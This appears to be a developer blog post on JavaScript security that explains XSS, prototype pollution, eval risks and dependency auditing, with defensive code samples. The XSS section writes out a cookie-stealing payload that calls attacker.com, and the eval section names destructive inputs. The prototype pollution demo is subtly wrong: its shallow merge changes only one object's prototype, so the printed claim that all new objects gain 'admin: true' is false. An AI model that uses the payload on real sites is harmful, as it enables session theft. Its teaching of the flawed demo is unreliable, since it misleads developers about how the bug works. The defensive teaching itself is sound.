Skip to content
ExponaBLOG
JAVASCRIPT & TYPESCRIPT · DAY 078 / 100

JavaScript security essentials: best practices explained

Vulnerabilities that start in JS code.

Expona Admin7 min read

JavaScript runs on millions of devices every day, and with that scale comes responsibility. Security vulnerabilities that start in JS code can cascade through entire applications, exposing user data and compromising trust. JavaScript security essentials: best practices explained will walk you through the patterns and pitfalls we've encountered in production, and how to build defensively from the start.

XSS — Never insert untrusted HTML. Use textContent or sanitize.

Cross-site scripting (XSS) remains one of the most prevalent JavaScript vulnerabilities. It happens when untrusted user input gets inserted into the DOM as HTML, allowing attackers to inject malicious scripts that execute in other users' browsers.

The core mistake is treating user input as safe HTML. We've seen this in real production systems where comment threads, product descriptions, or search results became injection vectors. An attacker supplies a string like <img src=x onerror="fetch('//attacker.com?cookie='+document.cookie)">, and if you render it carelessly, their JavaScript runs with full page context.

The safest approach is to use textContent instead of innerHTML. When you need to update text, let the browser handle it:

typescript
// ✗ Dangerous
const userComment = '<img src=x onerror="alert(1)">';
document.getElementById('comments').innerHTML = userComment;

// ✓ Safe
const userComment = '<img src=x onerror="alert(1)">';
document.getElementById('comments').textContent = userComment;
// Output: <img src=x onerror="alert(1)"> (rendered as plain text)

If you legitimately need to render HTML—for example, in a rich text editor or markdown preview—you must sanitize it first. Libraries like DOMPurify strip out event handlers and dangerous tags while preserving safe formatting:

typescript
import DOMPurify from 'dompurify';

const userMarkdown = '<p>Hello <script>alert("xss")</script></p>';
const clean = DOMPurify.sanitize(userMarkdown);
document.getElementById('preview').innerHTML = clean;
// Output: <p>Hello </p> (script removed)

Even template libraries can create XSS vulnerabilities if configured incorrectly. Vue, React, and Angular all auto-escape by default when using standard binding syntax, but they provide escape hatches like v-html, dangerouslySetInnerHTML, and [innerHTML] that bypass protection. Use these only with sanitized content.

Prototype pollution — Merging untrusted objects can modify Object.prototype.

Prototype pollution is a less obvious but powerful vulnerability. JavaScript objects inherit from Object.prototype. If you merge untrusted data into an object without validation, an attacker can pollute that prototype, affecting every object in the application.

We encountered this in a configuration system where user settings were merged into a global config object. An attacker supplied JSON with the key __proto__, and suddenly all objects in the entire app inherited a malicious property.

Here's how it works:

typescript
// Vulnerable merge function
function merge(target, source) {
  for (const key in source) {
    target[key] = source[key];
  }
  return target;
}

const config = {};
const userInput = JSON.parse('{"admin": false, "__proto__": {"admin": true}}');
merge(config, userInput);

console.log(config.admin); // false (direct property)
console.log({}.admin); // true (prototype polluted!)
const newObj = {};
console.log(newObj.admin); // true (all new objects are affected)

The fix is to validate keys before merging, especially rejecting dangerous ones:

typescript
// ✓ Safe merge
function safeMerge(target, source) {
  const dangerous = ['__proto__', 'constructor', 'prototype'];
  for (const key in source) {
    if (!dangerous.includes(key) && Object.prototype.hasOwnProperty.call(source, key)) {
      target[key] = source[key];
    }
  }
  return target;
}

const config = {};
const userInput = JSON.parse('{"admin": false, "__proto__": {"admin": true}}');
safeMerge(config, userInput);

console.log(config.admin); // false
console.log({}.admin); // undefined (prototype clean)

Alternatively, use Object.assign with a new object or libraries that handle this safely. When accepting JSON configuration, consider using a schema validator (like Zod or Joi) that whitelists allowed keys.

eval and new Function — Avoid executing strings as code.

Executing arbitrary strings as code is almost always a security disaster. eval() and new Function() give attackers a direct path to code execution if they control the input.

We've seen this in template engines and expression evaluators where developers thought they could safely eval user expressions. One typo or one clever attacker input, and the game is over.

typescript
// ✗ Never do this
const userExpression = 'process.env.DATABASE_URL'; // or worse, malicious code
const result = eval(userExpression);

// ✗ Also dangerous
const formula = '2 + 2';
const result = new Function('return ' + formula)();

// An attacker passes: "process.exit(1)" or "fs.unlinkSync(...)"

If you need to evaluate expressions safely, use a sandboxed library. For math expressions, use a parser designed for that purpose:

typescript
import { evaluate } from 'mathjs';

// Safe: mathjs only evaluates math expressions
const result = evaluate('2 + 2'); // 4
const safe = evaluate('sin(0.5)'); // 0.479...

// Mathjs rejects code execution
try {
  evaluate('process.exit(1)'); // throws SyntaxError
} catch (e) {
  console.log('Rejected');
}

For conditional logic, use a declarative approach instead of code generation. Define rules as data and interpret them:

typescript
// ✓ Safe rule engine
const rule = { field: 'age', operator: '>', value: 18 };

function applyRule(rule, user) {
  const operators = {
    '>': (a, b) => a > b,
    '<': (a, b) => a < b,
    '===': (a, b) => a === b,
  };
  return operators[rule.operator](user[rule.field], rule.value);
}

const user = { age: 25 };
console.log(applyRule(rule, user)); // true

If you're building a template system or query language, invest in a proper parser and AST interpreter. The cost is outweighed by the security and maintainability gains.

Dependencies — Audit packages and lock versions.

Your application is only as secure as its dependency tree. A vulnerability in one transitive dependency can compromise your entire system. We've had production incidents where a minor version bump of a deeply nested package introduced a security flaw.

Lock your dependency versions. Always. Use package-lock.json (npm) or yarn.lock to ensure reproducible installs:

typescript
// package.json
{
  "dependencies": {
    "lodash": "4.17.21"  // Not "^4.17.0" or "~4.17.0"
  }
}

// Commit package-lock.json to version control
// Everyone installs the exact same versions

Audit your dependencies regularly for known vulnerabilities:

typescript
// Run this in CI/CD and locally
npm audit

// To fix automatically (with caution)
npm audit fix

// To check for outdated packages
npm outdated

Understand your supply chain. When evaluating packages, consider:

  • Maintenance: Is the package actively maintained? When was the last update?
  • Community: Does it have a good track record and user base?
  • Dependencies: What does it depend on? Fewer is better.
  • Scope: Does it do one thing well, or is it bloated?

For sensitive operations like cryptography, authentication, or data validation, use well-established libraries with security audits. Don't roll your own crypto. Libraries like bcrypt for password hashing, jsonwebtoken for JWTs, and helmet for HTTP security headers have been battle-tested.

Set up automated dependency scanning in your CI/CD pipeline. Tools like Snyk or GitHub's Dependabot alert you to vulnerabilities as soon as they're discovered, and some can even auto-patch them.

Common mistakes

  • Trusting user input by default: Always assume data from clients, APIs, or databases is untrusted until validated and sanitized.
  • Mixing sanitization libraries: Use one established library like DOMPurify for XSS. Don't try to manually remove tags with regex; you'll miss edge cases.
  • Forgetting server-side validation: Client-side security is for user experience; server-side validation is for actual security. Always validate on the backend.
  • Committing secrets to version control: Use environment variables and .gitignore for API keys, database URLs, and tokens. Tools like git-secrets can prevent this.
  • Ignoring CSP headers: Content Security Policy (CSP) is a browser-enforced whitelist of trusted script sources. Set it in your HTTP headers to mitigate inline script injection.
  • Updating dependencies carelessly: Test major version updates in a staging environment before pushing to production, especially for security-critical libraries.

Key takeaways

  • XSS is prevented by treating user input as text, not HTML. Use textContent or sanitize with DOMPurify before using innerHTML.
  • Prototype pollution happens when merging untrusted objects; reject dangerous keys like __proto__ and use whitelisting.
  • eval() and new Function() are code execution vulnerabilities. Replace them with domain-specific parsers or rule engines.
  • Lock dependency versions in version control and audit regularly with npm audit. Use established libraries for cryptography and validation.
  • Security is layered: client-side protection improves UX, server-side validation is mandatory, and defense-in-depth prevents single points of failure.
ShareXLinkedInReddit

Found this useful? Support the writing.

Buy me a coffee
Written by
Expona Admin
Site administrator

Comments

Loading comments…

Leave a comment

Comments are reviewed before they appear. Be kind and stay on topic.

Related articles